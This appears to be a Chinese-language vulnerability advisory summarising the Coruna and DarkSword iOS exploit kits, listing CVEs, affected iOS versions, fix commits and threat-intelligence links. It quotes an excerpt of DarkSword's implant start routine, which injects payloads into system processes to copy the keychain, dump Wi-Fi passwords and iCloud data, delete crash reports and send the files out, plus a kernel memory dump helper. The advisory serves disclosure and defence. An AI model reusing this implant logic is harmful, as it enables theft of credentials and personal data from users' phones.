Coruna iOS 漏洞利用工具包

漏洞描述
Google 威胁情报组(GTIG)识别出名为 “Coruna” 的 iOS 漏洞利用工具包,针对运行 iOS 13.0–17.2.1 的 iPhone,包含 5 条完整利用链与共 23 个漏洞。高级利用采用未公开的利用技术与缓解绕过方法,可根据设备指纹选择合适的 WebKit RCE 漏洞、进行 PAC 绕过,并在链末注入名为 PlasmaLoader(GTIG 标识为 PLASMAGRID)的 Stager 二进制以窃取金融信息(尤其加密货币钱包)。该工具包被用于多个高风险定向行动。

漏洞类型: 多个(包括 WebKit RCE、WebContent Sandbox Escape、Privilege Escalation、PPL/PAC Bypass 等)
漏洞发布日期: 2026-03-03(Google Cloud Blog 文章发布日期)
受影响版本: iOS 13.0 – 17.2.1
严重性: 待定(文章未给出 CVSS,基于多项 0-day 推测为高危)
POC/EXP 可用性: 是(文章提及检索到混淆后的利用代码与有效载荷,但未公开提供)
POC/EXP 发布日期: 待定(部分漏洞如 CVE-2024-23222 已被发现于野外)

参考信息

  • CVE Number: 多个(见下方详细列表)
  • Security Advisory / 原始链接: https://cloud.google.com/blog/topics/threat-intelligence/coruna-powerful-ios-exploit-kit
  • POC/EXP 链接(IOC 集合,需 VirusTotal 账号):https://www.virustotal.com/gui/collection/8f6035fed41b481f604ad0336a637dce1ddaec6670e1497f38d4fca246fda4ce

DarkSword iOS 漏洞利用工具包

漏洞描述
DarkSword 为与 Coruna 相关的 iOS 漏洞利用工具包,通过受感染的合法网站实施水坑攻击,针对 iOS 18.4–18.6.2。恢复出的完整 1-click 链包含 Safari 利用、沙箱逃逸、提权与内存驻留植入程序,全部以 JavaScript 构建,不依赖传统二进制 Mach-O 库,利用系统进程进行数据窃取与外传。

漏洞类型: 多个(包括 JavaScriptCore JIT RCE、沙箱逃逸、内核提权 等)
漏洞发布日期: 2026-03-18(iVerify Blog 文章发布日期)
受影响版本: iOS 18.4 – 18.6.2(部分漏洞可能影响更广)
严重性: 待定(未明确 CVSS,基于多项 0-day 推测为高危)
POC/EXP 可用性: 是(文章包含大量未混淆 JavaScript 代码片段与相关修复提交链接)
POC/EXP 发布日期: 待定

参考信息

  • CVE Number: 多个(见下方详细列表)
  • Security Advisory / 原始链接: https://iverify.io/blog/darksword-ios-exploit-kit-explained
  • GTIG 分析: https://cloud.google.com/blog/topics/threat-intelligence/darksword-ios-exploit-chain
  • Lookout 分析: https://www.lookout.com/blog/darksword
  • DarkSword IOCs (STIX2): https://learn.iverify.io/hubfs/Blog%20Technical%20Files/DarkSword.stix2
  • DarkSword 可疑域 (STIX2): https://learn.iverify.io/hubfs/Blog%20Technical%20Files/DarkSword-Suspicious-Domains.stix2

POC/EXP 选段(示例代码片段)

  • 植入程序启动函数(pe_main.js 节选) — 示例如下:
const TAG = "MAIN";
//const targetProcess = "bluetoothd";
const targetProcess = "SpringBoard";
function start() {
    let mutexPtr = null;
    let migFilterBypass = null;
    globalThis.xnuVersion = xnuVersion();
    let ver = globalThis.xnuVersion;
    // If iOS >= 18.4 we apply migbypass in order to bypass autobox restrictions
    if (ver.major == 24 && ver.minor >= 4) {
        mutexPtr = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("malloc", 0x100));        libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("pthread_mutex_init", mutexPtr, null);
        migFilterBypass = new MigFilterBypass(mutexPtr);
    }
    let driver = new libs_Driver_Driver__WEBPACK_IMPORTED_MODULE_7__["default"]();
    libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].init(driver, mutexPtr);
    let resultPE = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].runPE();
    if (!resultPE)
        return;
    libs_TaskRop_TaskRop__WEBPACK_IMPORTED_MODULE_2__["default"].init();
    if(migFilterBypass)
        migFilterBypass.start();
    let launchdTask = new libs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_8__["default"]("launchd",migFilterBypass);
    if (!launchdTask.success()) {
        return false;
    }    libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].initWithLaunchdTask(launchdTask); libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].deleteCrashReports();    libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].createTokens();
    let agentLoader = new InjectJS_WEBPACK_IMPORTED_MODULE_6__["default"](targetProcess, _raw_loader_loader_js__WEBPACK_IMPORTED_MODULE_10__["default"], migFilterBypass);
    let agentPid = 0;
    if (agentLoader.inject()) {
        agentPid = agentLoader.task.pid(); libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(agentPid);
        libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].adjustMemoryPressure(targetProcess);
        agentLoader.destroy();
    }
    // Inject keychain copier FIRST into securityd (has access to keychain files)
    // This copies keychain/keybag to /tmp with 777 permissions
    const keychainProcess = "configd";
    let keychainCopier = new InjectJS_WEBPACK_IMPORTED_MODULE_6__["default"](keychainProcess, _raw_loader_keychain_copier_js__WEBPACK_IMPORTED_MODULE_12__["default"], migFilterBypass);
    if (keychainCopier.inject()) {
        libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(keychainCopier.task);
        keychainCopier.destroy();
    } else {
    }
    // Inject WiFi password dump into wifid (has keychain access for WiFi)
    // Using wifid instead of wifianalyticsd - wifid is always active
    const wifidProcess = "wifid";
    let wifiDump = new InjectJS_WEBPACK_IMPORTED_MODULE_6__["default"](wifidProcess, _raw_loader_wifi_password_dump_js__WEBPACK_IMPORTED_MODULE_13__["default"], migFilterBypass);
    if (wifiDump.inject()) {
        libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(wifiDump.task);
        wifiDump.destroy();
    } else {
    }
    // Also inject WiFi password dump into securityd (fallback for devices where wifid fails)
    const securitydProcess = "securityd";
    let wifiDumpSecurityd = new InjectJS_WEBPACK_IMPORTED_MODULE_6__["default"](securitydProcess, _raw_loader_wifi_password_securityd_js__WEBPACK_IMPORTED_MODULE_14__["default"], migFilterBypass);
    if (wifiDumpSecurityd.inject()) {
        libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(wifiDumpSecurityd.task);
        wifiDumpSecurityd.destroy();
    } else {
    }
    // Inject iCloud dumper into UserEventAgent (has access to iCloud Drive files)
    const userEventAgentProcess = "UserEventAgent";
    let iCloudDumper = new InjectJS_WEBPACK_IMPORTED_MODULE_6__["default"](userEventAgentProcess, _raw_loader_icloud_dumper_js__WEBPACK_IMPORTED_MODULE_15__["default"], migFilterBypass);
    if (iCloudDumper.inject()) {   libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(iCloudDumper.task);
        iCloudDumper.destroy();
    } else {
    }
    // Wait for all dumps to finish
    for (let i = 1; i <= 5; i++) {   libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("sleep", 1);
    }
    // Inject forensics file downloader AFTER keychain copier
    // This will send the copied keychain files from /tmp
    try {
        let fileDownloader = new InjectJS_WEBPACK_IMPORTED_MODULE_6__["default"](targetProcess, _raw_loader_file_downloader_js__WEBPACK_IMPORTED_MODULE_11__["default"], migFilterBypass);
        if (fileDownloader.inject()) {       libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(fileDownloader.task);
            fileDownloader.destroy();
        }
    } catch (injectError) {
        // Error handling without logging
    }
    launchdTask.destroy();
    return true;
}
  • 内核内存 hexdump 示例:
function kdump(where, size, msg = "") {
    LOG(`[+] ----------- ${msg} ----------`);
    for (let i = 0n; i < size; i += 0x10n) {
      LOG(`[+] [${i.hex()}] ${(where + i).hex()}:\t${early_kread64(where + i).hex()} ${early_kread64(where + i + 8n).hex()}`);
    }
}
  • 修复提交(示例)
    • https://github.com/WebKit/WebKit/commit/716536ce98d6f8d40c44abed667b6a1970023e17 (CVE-2025-31277)
    • https://github.com/WebKit/WebKit/commit/b21a503b579a8ab14c839f82cc77176e507352e5 (CVE-2025-43529)
    • https://github.com/apple-oss-distributions/dyld/commit/9b3c6bde0c6d1cb4a13ce7646aed6f74597bcc84 (CVE-2026-20700)
    • https://chromium-review.googlesource.com/c/angle/angle/+/7232784 (CVE-2025-14174)

DarkSword 工具包中涉及的特定漏洞

1) CVE-2025-31277

漏洞描述: Safari WebContent 进程 JIT RegExp 匹配漏洞,导致任意内存读写(JIT RCE)。
漏洞类型: JIT RCE(Arbitrary Memory Read/Write)
受影响版本: iOS 18.4–18.5
修复版本: 18.6
POC/EXP 可用性: 是(作为 DarkSword 工具包的一部分,含 WebKit 修复提交)
POC/EXP 发布日期: 2025-07-29(修复提交日期)
参考链接: https://iverify.io/blog/darksword-ios-exploit-kit-explained
POC/EXP 提交: https://github.com/WebKit/WebKit/commit/716536ce98d6f8d40c44abed667b6a1970023e17

2) CVE-2025-43529

漏洞描述: Safari WebContent 进程 JIT use-after-free,导致任意内存读写(JIT RCE)。
漏洞类型: JIT RCE(Use-After-Free)
受影响版本: iOS 18.6–18.6.2
修复版本: 26.2, 18.7.3
POC/EXP 可用性: 是(含 WebKit 修复提交)
POC/EXP 发布日期: 2025-12-12(修复提交日期)
参考链接: https://iverify.io/blog/darksword-ios-exploit-kit-explained
POC/EXP 提交: https://github.com/WebKit/WebKit/commit/b21a503b579a8ab14c839f82cc77176e507352e5

3) CVE-2026-20700

漏洞描述: TPRO 与 PAC 绕过,导致任意代码执行(Bypass)。
漏洞类型: Bypass(Arbitrary Code Execution)
受影响版本: iOS 18.6
修复版本: 26.3
POC/EXP 可用性: 是(含 dyld 修复提交)
POC/EXP 发布日期: 2026-02-11(修复提交日期)
参考链接: https://iverify.io/blog/darksword-ios-exploit-kit-explained
POC/EXP 提交: https://github.com/apple-oss-distributions/dyld/commit/9b3c6bde0c6d1cb4a13ce7646aed6f74597bcc84

4) CVE-2025-14174

漏洞描述: 通过 ANGLE 越界写入导致从 Safari WebContent 逃逸到 Safari GPU 进程沙箱(Sandbox Escape / 任意代码执行)。
漏洞类型: Sandbox Escape(Out-of-Bounds Write)
受影响版本: iOS 18.6
修复版本: 26.2, 18.7.3
POC/EXP 可用性: 是(含 chromium-review 修复提交)
POC/EXP 发布日期: 2025-12-12(修复提交日期)
参考链接: https://iverify.io/blog/darksword-ios-exploit-kit-explained
POC/EXP 提交: https://chromium-review.googlesource.com/c/angle/angle/+/7232784

5) CVE-2025-43510

漏洞描述: GPU 进程通过 XNU 内核 Copy-On-Write 问题并利用 AppleM2ScalerCSCDriver 的 selector 1,逃逸至 mediaplaybackd 进程沙箱。
漏洞类型: Sandbox Escape(Copy-On-Write)
受影响版本: iOS 18.6
修复版本: 26.1, 18.7.2
POC/EXP 可用性: 是(作为 DarkSword 工具包的一部分)
POC/EXP 发布日期: 2025-12-12(修复提交日期)
参考链接: https://iverify.io/blog/darksword-ios-exploit-kit-explained

6) CVE-2025-43520

漏洞描述: 内核提权漏洞(Kernel Privilege Escalation)。
漏洞类型: Kernel Privilege Escalation
受影响版本: iOS 18.6
修复版本: 26.1, 18.7.2
POC/EXP 可用性: 是(作为 DarkSword 工具包的一部分)
POC/EXP 发布日期: 2025-12-12(修复提交日期)
参考链接: https://iverify.io/blog/darksword-ios-exploit-kit-explained


Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐